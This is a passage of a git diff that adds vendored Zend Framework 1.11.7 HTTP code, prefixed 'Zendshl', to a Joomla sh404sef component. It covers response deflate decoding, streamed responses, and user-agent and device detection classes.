Content-encoding = deflate) + * + * Currently requires PHP with zlib support + * + * @param string $body + * @return string + */ + public static function decodeDeflate($body) + { + if (! function_exists('gzuncompress')) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception( + 'zlib extension is required in order to decode "deflate" encoding' + ); + } + + /** + * Some servers (IIS ?) send a broken deflate response, without the + * RFC-required zlib header. + * + * We try to detect the zlib header, and if it does not exsit we + * teat the body is plain DEFLATE content. + * + * This method was adapted from PEAR HTTP_Request2 by (c) Alexey Borzov + * + * @link http://framework.zend.com/issues/browse/ZF-6040 + */ + $zlibHeader = unpack('n', substr($body, 0, 2)); + if ($zlibHeader[1] % 31 == 0) { + return gzuncompress($body); + } else { + return gzinflate($body); + } + } + + /** + * Create a new Zendshl_Http_Response object from a string + * + * @param string $response_str + * @return Zendshl_Http_Response + */ + public static function fromString($response_str) + { + $code = self::extractCode($response_str); + $headers = self::extractHeaders($response_str); + $body = self::extractBody($response_str); + $version = self::extractVersion($response_str); + $message = self::extractMessage($response_str); + + return new Zendshl_Http_Response($code, $headers, $body, $version, $message); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php new file mode 100644 index 00000000..2d748f08 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php @@ -0,0 +1,236 @@ +stream; + } + + /** + * Set the response stream + * + * @param resourse $stream + * @return Zendshl_Http_Response_Stream + */ + public function setStream($stream) + { + $this->stream = $stream; + return $this; + } + + /** + * Get the cleanup trigger + * + * @return boolean + */ + public function getCleanup() { + return $this->_cleanup; + } + + /** + * Set the cleanup trigger + * + * @param bool $cleanup Set cleanup trigger + */ + public function setCleanup($cleanup = true) { + $this->_cleanup = $cleanup; + } + + /** + * Get file name associated with the stream + * + * @return string + */ + public function getStreamName() { + return $this->stream_name; + } + + /** + * Set file name associated with the stream + * + * @param string $stream_name Name to set + * @return Zendshl_Http_Response_Stream + */ + public function setStreamName($stream_name) { + $this->stream_name = $stream_name; + return $this; + } + + + /** + * HTTP response constructor + * + * In most cases, you would use Zendshl_Http_Response::fromString to parse an HTTP + * response string and create a new Zendshl_Http_Response object. + * + * NOTE: The constructor no longer accepts nulls or empty values for the code and + * headers and will throw an exception if the passed values do not form a valid HTTP + * responses. + * + * If no message is passed, the message will be guessed according to the response code. + * + * @param int $code Response code (200, 404, ...) + * @param array $headers Headers array + * @param string $body Response body + * @param string $version HTTP version + * @param string $message Response code as text + * @throws Zendshl_Http_Exception + */ + public function __construct($code, $headers, $body = null, $version = '1.1', $message = null) + { + + if(is_resource($body)) { + $this->setStream($body); + $body = ''; + } + parent::__construct($code, $headers, $body, $version, $message); + } + + /** + * Create a new Zendshl_Http_Response_Stream object from a string + * + * @param string $response_str + * @param resource $stream + * @return Zendshl_Http_Response_Stream + */ + public static function fromStream($response_str, $stream) + { + $code = self::extractCode($response_str); + $headers = self::extractHeaders($response_str); + $version = self::extractVersion($response_str); + $message = self::extractMessage($response_str); + + return new self($code, $headers, $stream, $version, $message); + } + + /** + * Get the response body as string + * + * This method returns the body of the HTTP response (the content), as it + * should be in it's readable version - that is, after decoding it (if it + * was decoded), deflating it (if it was gzip compressed), etc. + * + * If you want to get the raw body (as transfered on wire) use + * $this->getRawBody() instead. + * + * @return string + */ + public function getBody() + { + if($this->stream != null) { + $this->readStream(); + } + return parent::getBody(); + } + + /** + * Get the raw response body (as transfered "on wire") as string + * + * If the body is encoded (with Transfer-Encoding, not content-encoding - + * IE "chunked" body), gzip compressed, etc. it will not be decoded. + * + * @return string + */ + public function getRawBody() + { + if($this->stream) { + $this->readStream(); + } + return $this->body; + } + + /** + * Read stream content and return it as string + * + * Function reads the remainder of the body from the stream and closes the stream. + * + * @return string + */ + protected function readStream() + { + if(!is_resource($this->stream)) { + return ''; + } + + if(isset($headers['content-length'])) { + $this->body = stream_get_contents($this->stream, $headers['content-length']); + } else { + $this->body = stream_get_contents($this->stream); + } + fclose($this->stream); + $this->stream = null; + } + + public function __destruct() + { + if(is_resource($this->stream)) { + fclose($this->stream); + $this->stream = null; + } + if($this->_cleanup) { + @unlink($this->stream_name); + } + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php new file mode 100644 index 00000000..745f36be --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php @@ -0,0 +1,854 @@ + self::DEFAULT_IDENTIFICATION_SEQUENCE, + 'storage' => array( + 'adapter' => self::DEFAULT_PERSISTENT_STORAGE_ADAPTER, + ), + ); + + /** + * Identified device + * + * @var Zendshl_Http_UserAgent_Device + */ + protected $_device; + + /** + * Whether or not this instance is immutable. + * + * If true, none of the following may be modified: + * - $_server + * - $_browserType + * - User-Agent (defined in $_server) + * - HTTP Accept value (defined in $_server) + * - $_storage + * + * @var bool + */ + protected $_immutable = false; + + /** + * Plugin loaders + * @var array + */ + protected $_loaders = array(); + + /** + * Valid plugin loader types + * @var array + */ + protected $_loaderTypes = array('storage', 'device'); + + /** + * Trace of items matched to identify the browser type + * + * @var array + */ + protected $_matchLog = array(); + + /** + * Server variable + * + * @var array + */ + protected $_server; + + /** + * Persistent storage handler + * + * @var Zendshl_Http_UserAgent_Storage + */ + protected $_storage; + + /** + * Constructor + * + * @param null|array|Zendshl_Config|ArrayAccess $options + * @return void + */ + public function __construct($options = null) + { + if (null !== $options) { + $this->setOptions($options); + } + } + + /** + * Serialized representation of the object + * + * @return string + */ + public function serialize() + { + $device = $this->getDevice(); + $spec = array( + 'browser_type' => $this->_browserType, + 'config' => $this->_config, + 'device_class' => get_class($device), + 'device' => $device->serialize(), + 'user_agent' => $this->getServerValue('http_user_agent'), + 'http_accept' => $this->getServerValue('http_accept'), + ); + return serialize($spec); + } + + /** + * Unserialize a previous representation of the object + * + * @param string $serialized + * @return void + */ + public function unserialize($serialized) + { + $spec = unserialize($serialized); + + $this->setOptions($spec); + + // Determine device class and ensure the class is loaded + $deviceClass = $spec['device_class']; + if (!class_exists($deviceClass)) { + $this->_getUserAgentDevice($this->getBrowserType()); + } + + // Get device specification and instantiate + $deviceSpec = unserialize($spec['device']); + $deviceSpec['_config'] = $this->getConfig(); + $deviceSpec['_server'] = $this->getServer(); + $this->_device = new $deviceClass($deviceSpec); + } + + /** + * Configure instance + * + * @param array|Zendshl_Config|ArrayAccess $options + * @return Zendshl_Http_UserAgent + */ + public function setOptions($options) + { + if ($options instanceof Zendshl_Config) { + $options = $options->toArray(); + } + + if (!is_array($options) + && !$options instanceof ArrayAccess + && !$options instanceof Traversable + ) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid argument; expected array, Zendshl_Config object, or object implementing ArrayAccess and Traversable; received %s', + (is_object($options) ? get_class($options) : gettype($options)) + )); + } + + // Set $_SERVER first + if (isset($options['server'])) { + $this->setServer($options['server']); + unset($options['server']); + } + + // Get plugin loaders sorted + if (isset($options['plugin_loader'])) { + $plConfig = $options['plugin_loader']; + if (is_array($plConfig) || $plConfig instanceof Traversable) { + foreach ($plConfig as $type => $class) { + $this->setPluginLoader($type, $class); + } + } + unset($plConfig, $options['plugin_loader']); + } + + // And then loop through the remaining options + $config = array(); + foreach ($options as $key => $value) { + switch (strtolower($key)) { + case 'browser_type': + $this->setBrowserType($value); + break; + case 'http_accept': + $this->setHttpAccept($value); + break; + case 'user_agent': + $this->setUserAgent($value); + break; + default: + // Cache remaining options for $_config + $config[$key] = $value; + break; + } + } + $this->setConfig($config); + + return $this; + } + + /** + * Comparison of the UserAgent chain and browser signatures. + * + * The comparison is case-insensitive : the browser signatures must be in lower + * case + * + * @param string $deviceClass Name of class against which a match will be attempted + * @return bool + */ + protected function _match($deviceClass) + { + // Validate device class + $r = new ReflectionClass($deviceClass); + if (!$r->implementsInterface('Zendshl_Http_UserAgent_Device')) { + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid device class provided ("%s"); must implement Zendshl_Http_UserAgent_Device', + $deviceClass + )); + } + + $userAgent = $this->getUserAgent(); + + // Call match method on device class + return call_user_func( + array($deviceClass, 'match'), + $userAgent, + $this->getServer() + ); + } + + /** + * Loads class for a user agent device + * + * @param string $browserType Browser type + * @return string + * @throws Zendshl_Loader_PluginLoader_Exception if unable to load UA device + */ + protected function _getUserAgentDevice($browserType) + { + $browserType = strtolower($browserType); + if (isset($this->_browserTypeClass[$browserType])) { + return $this->_browserTypeClass[$browserType]; + } + + if (isset($this->_config[$browserType]) + && isset($this->_config[$browserType]['device']) + ) { + $deviceConfig = $this->_config[$browserType]['device']; + if (is_array($deviceConfig) && isset($deviceConfig['classname'])) { + $device = (string) $deviceConfig['classname']; + if (!class_exists($device)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Invalid classname "%s" provided in device configuration for browser type "%s"', + $device, + $browserType + )); + } + } elseif (is_array($deviceConfig) && isset($deviceConfig['path'])) { + $loader = $this->getPluginLoader('device'); + $path = $deviceConfig['path']; + $prefix = isset($deviceConfig['prefix']) ? $deviceConfig['prefix'] : 'Zendshl_Http_UserAgent'; + $loader->addPrefixPath($prefix, $path); + + $device = $loader->load($browserType); + } else { + $loader = $this->getPluginLoader('device'); + $device = $loader->load($browserType); + } + } else { + $loader = $this->getPluginLoader('device'); + $device = $loader->load($browserType); + } + + $this->_browserTypeClass[$browserType] = $device; + + return $device; + } + + /** + * Returns the User Agent value + * + * If $userAgent param is null, the value of $_server['HTTP_USER_AGENT'] is + * returned. + * + * @return string + */ + public function getUserAgent() + { + if (null === ($ua = $this->getServerValue('http_user_agent'))) { + $ua = self::DEFAULT_HTTP_USER_AGENT; + $this->setUserAgent($ua); + } + + return $ua; + } + + /** + * Force or replace the UA chain in $_server variable + * + * @param string $userAgent Forced UserAgent chain + * @return Zendshl_Http_UserAgent + */ + public function setUserAgent($userAgent) + { + $this->setServerValue('http_user_agent', $userAgent); + return $this; + } + + /** + * Returns the HTTP Accept server param + * + * @param string $httpAccept (option) forced HTTP Accept chain + * @return string + */ + public function getHttpAccept($httpAccept = null) + { + if (null === ($accept = $this->getServerValue('http_accept'))) { + $accept = self::DEFAULT_HTTP_ACCEPT; + $this->setHttpAccept($accept); + } + return $accept; + } + + /** + * Force or replace the HTTP_ACCEPT chain in self::$_server variable + * + * @param string $httpAccept Forced HTTP Accept chain + * @return Zendshl_Http_UserAgent + */ + public function setHttpAccept($httpAccept) + { + $this->setServerValue('http_accept', $httpAccept); + return $this; + } + + /** + * Returns the persistent storage handler + * + * Session storage is used by default unless a different storage adapter + * has been set via the "persistent_storage_adapter" key. That key should + * contain either a fully qualified class name, or a short name that + * resolves via the plugin loader. + * + * @param string $browser Browser identifier (User Agent chain) + * @return Zendshl_Http_UserAgent_Storage + */ + public function getStorage($browser = null) + { + if (null === $browser) { + $browser = $this->getUserAgent(); + } + if (null === $this->_storage) { + $config = $this->_config['storage']; + $adapter = $config['adapter']; + if (!class_exists($adapter)) { + $loader = $this->getPluginLoader('storage'); + $adapter = $loader->load($adapter); + $loader = $this->getPluginLoader('storage'); + } + $options = array('browser_type' => $browser); + if (isset($config['options'])) { + $options = array_merge($options, $config['options']); + } + $this->setStorage(new $adapter($options)); + } + return $this->_storage; + } + + /** + * Sets the persistent storage handler + * + * @param Zendshl_Http_UserAgent_Storage $storage + * @return Zendshl_Http_UserAgent + */ + public function setStorage(Zendshl_Http_UserAgent_Storage $storage) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the storage object is now immutable' + ); + } + + $this->_storage = $storage; + return $this; + } + + /** + * Clean the persistent storage + * + * @param string $browser Browser identifier (User Agent chain) + * @return void + */ + public function clearStorage($browser = null) + { + $this->getStorage($browser)->clear(); + } + + /** + * Get user configuration + * + * @return array + */ + public function getConfig() + { + return $this->_config; + } + + /** + * Config parameters is an Array or a Zendshl_Config object + * + * The allowed parameters are : + * - the identification sequence (can be empty) => desktop browser type is the + * default browser type returned + * $config['identification_sequence'] : ',' separated browser types + * - the persistent storage adapter + * $config['persistent_storage_adapter'] = "Session" or "NonPersistent" + * - to add or replace a browser type device + * $config[(type)]['device']['path'] + * $config[(type)]['device']['classname'] + * - to add or replace a browser type features adapter + * $config[(type)]['features']['path'] + * $config[(type)]['features']['classname'] + * + * @param mixed $config (option) Config array + * @return Zendshl_Http_UserAgent + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + } + + // Verify that Config parameters are in an array. + if (!is_array($config) && !$config instanceof Traversable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Config parameters must be in an array or a Traversable object; received "%s"', + (is_object($config) ? get_class($config) : gettype($config)) + )); + } + + if ($config instanceof Traversable) { + $tmp = array(); + foreach ($config as $key => $value) { + $tmp[$key] = $value; + } + $config = $tmp; + unset($tmp); + } + + $this->_config = array_merge($this->_config, $config); + return $this; + } + + /** + * Returns the device object + * + * This is the object that will contain the various discovered device + * capabilities. + * + * @return Zendshl_Http_UserAgent_Device $device + */ + public function getDevice() + { + if (null !== $this->_device) { + return $this->_device; + } + + $userAgent = $this->getUserAgent(); + + // search an existing identification in the session + $storage = $this->getStorage($userAgent); + + if (!$storage->isEmpty()) { + // If the user agent and features are already existing, the + // Zendshl_Http_UserAgent object is serialized in the session + $object = $storage->read(); + $this->unserialize($object); + } else { + // Otherwise, the identification is made and stored in the session. + // Find the browser type: + $this->setBrowserType($this->_matchUserAgent()); + $this->_createDevice(); + + // put the result in storage: + $this->getStorage($userAgent) + ->write($this->serialize()); + } + + // Mark the object as immutable + $this->_immutable = true; + + // Return the device instance + return $this->_device; + } + + /** + * Retrieve the browser type + * + * @return string $browserType + */ + public function getBrowserType() + { + return $this->_browserType; + } + + /** + * Set the browser "type" + * + * @param string $browserType + * @return Zendshl_Http_UserAgent + */ + public function setBrowserType($browserType) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the browser type is now immutable' + ); + } + + $this->_browserType = $browserType; + return $this; + } + + /** + * Retrieve the "$_SERVER" array + * + * Basically, the $_SERVER array or an equivalent container storing the + * data that will be introspected. + * + * If the value has not been previously set, it sets itself from the + * $_SERVER superglobal. + * + * @return array + */ + public function getServer() + { + if (null === $this->_server) { + $this->setServer($_SERVER); + } + return $this->_server; + } + + /** + * Set the "$_SERVER" array + * + * Basically, the $_SERVER array or an equivalent container storing the + * data that will be introspected. + * + * @param array|ArrayAccess $server + * @return void + * @throws Zendshl_Http_UserAgent_Exception on invalid parameter + */ + public function setServer($server) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the server array is now immutable' + ); + } + + if (!is_array($server) && !$server instanceof Traversable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected an array or object implementing Traversable; received %s', + (is_object($server) ? get_class($server) : gettype($server)) + )); + } + + // Get an array if we don't have one + if ($server instanceof ArrayObject) { + $server = $server->getArrayCopy(); + } elseif ($server instanceof Traversable) { + $tmp = array(); + foreach ($server as $key => $value) { + $tmp[$key] = $value; + } + $server = $tmp; + unset($tmp); + } + + // Normalize key case + $server = array_change_key_case($server, CASE_LOWER); + + $this->_server = $server; + return $this; + } + + /** + * Retrieve a server value + * + * @param string $key + * @return mixed + */ + public function getServerValue($key) + { + $key = strtolower($key); + $server = $this->getServer(); + $return = null; + if (isset($server[$key])) { + $return = $server[$key]; + } + unset($server); + return $return; + } + + /** + * Set a server value + * + * @param string|int|float $key + * @param mixed $value + * @return void + */ + public function setServerValue($key, $value) + { + if ($this->_immutable) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception( + 'The User-Agent device object has already been retrieved; the server array is now immutable' + ); + } + + $server = $this->getServer(); // ensure it's been initialized + $key = strtolower($key); + $this->_server[$key] = $value; + return $this; + } + + /** + * Set plugin loader + * + * @param string $type Type of plugin loader; one of 'storage', (?) + * @param string|Zendshl_Loader_PluginLoader $loader + * @return Zendshl_Http_UserAgent + */ + public function setPluginLoader($type, $loader) + { + $type = $this->_validateLoaderType($type); + + if (is_string($loader)) { + if (!class_exists($loader)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader.php'; + Zendshl_Loader::loadClass($loader); + } + $loader = new $loader(); + } elseif (!is_object($loader)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected a plugin loader class or object; received %s', + gettype($loader) + )); + } + if (!$loader instanceof Zendshl_Loader_PluginLoader) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected an object extending Zendshl_Loader_PluginLoader; received %s', + get_class($loader) + )); + } + + $basePrefix = 'Zendshl_Http_UserAgent_'; + $basePath = 'Zend/Http/UserAgent/'; + switch ($type) { + case 'storage': + $prefix = $basePrefix . 'Storage'; + $path = $basePath . 'Storage'; + break; + case 'device': + $prefix = $basePrefix; + $path = $basePath; + break; + } + $loader->addPrefixPath($prefix, $path); + $this->_loaders[$type] = $loader; + return $this; + } + + /** + * Get a plugin loader + * + * @param string $type A valid plugin loader type; see {@link $_loaderTypes} + * @return Zendshl_Loader_PluginLoader + */ + public function getPluginLoader($type) + { + $type = $this->_validateLoaderType($type); + if (!isset($this->_loaders[$type])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader.php'; + $this->setPluginLoader($type, new Zendshl_Loader_PluginLoader()); + } + return $this->_loaders[$type]; + } + + /** + * Validate a plugin loader type + * + * Verifies that it is in {@link $_loaderTypes}, and returns a normalized + * version of the type. + * + * @param string $type + * @return string + * @throws Zendshl_Http_UserAgent_Exception on invalid type + */ + protected function _validateLoaderType($type) + { + $type = strtolower($type); + if (!in_array($type, $this->_loaderTypes)) { + $types = implode(', ', $this->_loaderTypes); + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception(sprintf( + 'Expected one of "%s" for plugin loader type; received "%s"', + $types, + (string) $type + )); + } + return $type; + } + + /** + * Run the identification sequence to match the right browser type according to the + * user agent + * + * @return Zendshl_Http_UserAgent_Result + */ + protected function _matchUserAgent() + { + $type = self::DEFAULT_BROWSER_TYPE; + + // If we have no identification sequence, just return the default type + if (empty($this->_config['identification_sequence'])) { + return $type; + } + + // Get sequence against which to match + $sequence = explode(',', $this->_config['identification_sequence']); + + // If a browser type is already configured, push that to the front of the list + if (null !== ($browserType = $this->getBrowserType())) { + array_unshift($sequence, $browserType); + } + + // Append the default browser type to the list if not alread in the list + if (!in_array($type, $sequence)) { + $sequence[] = $type; + } + + // Test each type until we find a match + foreach ($sequence as $browserType) { + $browserType = trim($browserType); + $className = $this->_getUserAgentDevice($browserType); + + // Attempt to match this device class + if ($this->_match($className)) { + $type = $browserType; + $this->_browserTypeClass[$type] = $className; + break; + } + } + + return $type; + } + + /** + * Creates device object instance + * + * @return void + */ + protected function _createDevice() + { + $browserType = $this->getBrowserType(); + $classname = $this->_getUserAgentDevice($browserType); + $this->_device = new $classname($this->getUserAgent(), $this->getServer(), $this->getConfig()); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php new file mode 100644 index 00000000..f735c9ea --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php @@ -0,0 +1,977 @@ +_restoreFromArray($userAgent); + } else { + // Constructing new object + $this->setUserAgent($userAgent); + $this->_server = $server; + $this->_config = $config; + $this->_getDefaultFeatures(); + $this->_defineFeatures(); + } + } + + /** + * Serialize object + * + * @return string + */ + public function serialize() + { + $spec = array( + '_aFeatures' => $this->_aFeatures, + '_aGroup' => $this->_aGroup, + '_browser' => $this->_browser, + '_browserVersion' => $this->_browserVersion, + '_userAgent' => $this->_userAgent, + '_images' => $this->_images, + ); + return serialize($spec); + } + + /** + * Unserialize + * + * @param string $serialized + * @return void + */ + public function unserialize($serialized) + { + $spec = unserialize($serialized); + $this->_restoreFromArray($spec); + } + + /** + * Restore object state from array + * + * @param array $spec + * @return void + */ + protected function _restoreFromArray(array $spec) + { + foreach ($spec as $key => $value) { + if (property_exists($this, $key)) { + $this->{$key} = $value; + } + } + } + + /** + * Look for features + * + * @return array|null + */ + protected function _defineFeatures() + { + $features = $this->_loadFeaturesAdapter(); + + if (is_array($features)) { + $this->_aFeatures = array_merge($this->_aFeatures, $features); + } + + return $this->_aFeatures; + } + + /** + * Gets the browser type identifier + * + * @return string + */ + abstract public function getType(); + + /** + * Check a feature for the current browser/device. + * + * @param string $feature The feature to check. + * @return bool + */ + public function hasFeature($feature) + { + return (!empty($this->_aFeatures[$feature])); + } + + /** + * Gets the value of the current browser/device feature + * + * @param string $feature Feature to search + * @return string|null + */ + public function getFeature($feature) + { + if ($this->hasFeature($feature)) { + return $this->_aFeatures[$feature]; + } + } + + /** + * Set a feature for the current browser/device. + * + * @param string $feature The feature to set. + * @param string $value (option) feature value. + * @param string $group (option) Group to associate with the feature + * @return Zendshl_Http_UserAgent_AbstractDevice + */ + public function setFeature($feature, $value = false, $group = '') + { + $this->_aFeatures[$feature] = $value; + if (!empty($group)) { + $this->setGroup($group, $feature); + } + return $this; + } + + /** + * Affects a feature to a group + * + * @param string $group Group name + * @param string $feature Feature name + * @return Zendshl_Http_UserAgent_AbstractDevice + */ + public function setGroup($group, $feature) + { + if (!isset($this->_aGroup[$group])) { + $this->_aGroup[$group] = array(); + } + if (!in_array($feature, $this->_aGroup[$group])) { + $this->_aGroup[$group][] = $feature; + } + return $this; + } + + /** + * Gets an array of features associated to a group + * + * @param string $group Group param + * @return array + */ + public function getGroup($group) + { + return $this->_aGroup[$group]; + } + + /** + * Gets all the browser/device features + * + * @return array + */ + public function getAllFeatures() + { + return $this->_aFeatures; + } + + /** + * Gets all the browser/device features' groups + * + * @return array + */ + public function getAllGroups() + { + return $this->_aGroup; + } + + /** + * Sets all the standard features extracted from the User Agent chain and $this->_server + * vars + * + * @return void + */ + protected function _getDefaultFeatures() + { + $server = array(); + + // gets info from user agent chain + $uaExtract = $this->extractFromUserAgent($this->getUserAgent()); + + if (is_array($uaExtract)) { + foreach ($uaExtract as $key => $info) { + $this->setFeature($key, $info, 'product_info'); + } + } + + if (isset($uaExtract['browser_name'])) { + $this->_browser = $uaExtract['browser_name']; + } + if (isset($uaExtract['browser_version'])) { + $this->_browserVersion = $uaExtract['browser_version']; + } + if (isset($uaExtract['device_os'])) { + $this->device_os = $uaExtract['device_os_name']; + } + + /* browser & device info */ + $this->setFeature('is_wireless_device', false, 'product_info'); + $this->setFeature('is_mobile', false, 'product_info'); + $this->setFeature('is_desktop', false, 'product_info'); + $this->setFeature('is_tablet', false, 'product_info'); + $this->setFeature('is_bot', false, 'product_info'); + $this->setFeature('is_email', false, 'product_info'); + $this->setFeature('is_text', false, 'product_info'); + $this->setFeature('device_claims_web_support', false, 'product_info'); + + $this->setFeature('is_' . strtolower($this->getType()), true, 'product_info'); + + /* sets the browser name */ + if (isset($this->list) && empty($this->_browser)) { + $lowerUserAgent = strtolower($this->getUserAgent()); + foreach ($this->list as $browser_signature) { + if (strpos($lowerUserAgent, $browser_signature) !== false) { + $this->_browser = strtolower($browser_signature); + $this->setFeature('browser_name', $this->_browser, 'product_info'); + } + } + } + + /* sets the client IP */ + if (isset($this->_server['remote_addr'])) { + $this->setFeature('client_ip', $this->_server['remote_addr'], 'product_info'); + } elseif (isset($this->_server['http_x_forwarded_for'])) { + $this->setFeature('client_ip', $this->_server['http_x_forwarded_for'], 'product_info'); + } elseif (isset($this->_server['http_client_ip'])) { + $this->setFeature('client_ip', $this->_server['http_client_ip'], 'product_info'); + } + + /* sets the server infos */ + if (isset($this->_server['server_software'])) { + if (strpos($this->_server['server_software'], 'Apache') !== false || strpos($this->_server['server_software'], 'LiteSpeed') !== false) { + $server['version'] = 1; + if (strpos($this->_server['server_software'], 'Apache/2') !== false) { + $server['version'] = 2; + } + $server['server'] = 'apache'; + } + + if (strpos($this->_server['server_software'], 'Microsoft-IIS') !== false) { + $server['server'] = 'iis'; + } + + if (strpos($this->_server['server_software'], 'Unix') !== false) { + $server['os'] = 'unix'; + if (isset($_ENV['MACHTYPE'])) { + if (strpos($_ENV['MACHTYPE'], 'linux') !== false) { + $server['os'] = 'linux'; + } + } + } elseif (strpos($this->_server['server_software'], 'Win') !== false) { + $server['os'] = 'windows'; + } + + if (preg_match('/Apache\/([0-9\.]*)/', $this->_server['server_software'], $arr)) { + if ($arr[1]) { + $server['version'] = $arr[1]; + $server['server'] = 'apache'; + } + } + } + + $this->setFeature('php_version', phpversion(), 'server_info'); + if (isset($server['server'])) { + $this->setFeature('server_os', $server['server'], 'server_info'); + } + if (isset($server['version'])) { + $this->setFeature('server_os_version', $server['version'], 'server_info'); + } + if (isset($this->_server['http_accept'])) { + $this->setFeature('server_http_accept', $this->_server['http_accept'], 'server_info'); + } + if (isset($this->_server['http_accept_language'])) { + $this->setFeature('server_http_accept_language', $this->_server['http_accept_language'], 'server_info'); + } + if (isset($this->_server['server_addr'])) { + $this->setFeature('server_ip', $this->_server['server_addr'], 'server_info'); + } + if (isset($this->_server['server_name'])) { + $this->setFeature('server_name', $this->_server['server_name'], 'server_info'); + } + } + + /** + * Extract and sets informations from the User Agent chain + * + * @param string $userAgent User Agent chain + * @return array + */ + public static function extractFromUserAgent($userAgent) + { + $userAgent = trim($userAgent); + + /** + * @see http://www.texsoft.it/index.php?c=software&m=sw.php.useragent&l=it + */ + $pattern = "(([^/\s]*)(/(\S*))?)(\s*\[[a-zA-Z][a-zA-Z]\])?\s*(\\((([^()]|(\\([^()]*\\)))*)\\))?\s*"; + preg_match("#^$pattern#", $userAgent, $match); + + $comment = array(); + if (isset($match[7])) { + $comment = explode(';', $match[7]); + } + + // second part if exists + $end = substr($userAgent, strlen($match[0])); + if (!empty($end)) { + $result['others']['full'] = $end; + } + + $match2 = array(); + if (isset($result['others'])) { + preg_match_all('/(([^\/\s]*)(\/)?([^\/\(\)\s]*)?)(\s\((([^\)]*)*)\))?/i', $result['others']['full'], $match2); + } + $result['user_agent'] = trim($match[1]); + $result['product_name'] = isset($match[2]) ? trim($match[2]) : ''; + $result['browser_name'] = $result['product_name']; + if (isset($match[4]) && trim($match[4])) { + $result['product_version'] = trim($match[4]); + $result['browser_version'] = trim($match[4]); + } + if (count($comment) && !empty($comment[0])) { + $result['comment']['full'] = trim($match[7]); + $result['comment']['detail'] = $comment; + $result['compatibility_flag'] = trim($comment[0]); + if (isset($comment[1])) { + $result['browser_token'] = trim($comment[1]); + } + if (isset($comment[2])) { + $result['device_os_token'] = trim($comment[2]); + } + } + if (empty($result['device_os_token']) && !empty($result['compatibility_flag'])) { + // some browsers do not have a platform token + $result['device_os_token'] = $result['compatibility_flag']; + } + if ($match2) { + $i = 0; + $max = count($match2[0]); + for ($i = 0; $i < $max; $i ++) { + if (!empty($match2[0][$i])) { + $result['others']['detail'][] = array( + $match2[0][$i], + $match2[2][$i], + $match2[4][$i], + ); + } + } + } + + /** Security level */ + $security = array( + 'N' => 'no security', + 'U' => 'strong security', + 'I' => 'weak security', + ); + if (!empty($result['browser_token'])) { + if (isset($security[$result['browser_token']])) { + $result['security_level'] = $security[$result['browser_token']]; + unset($result['browser_token']); + } + } + 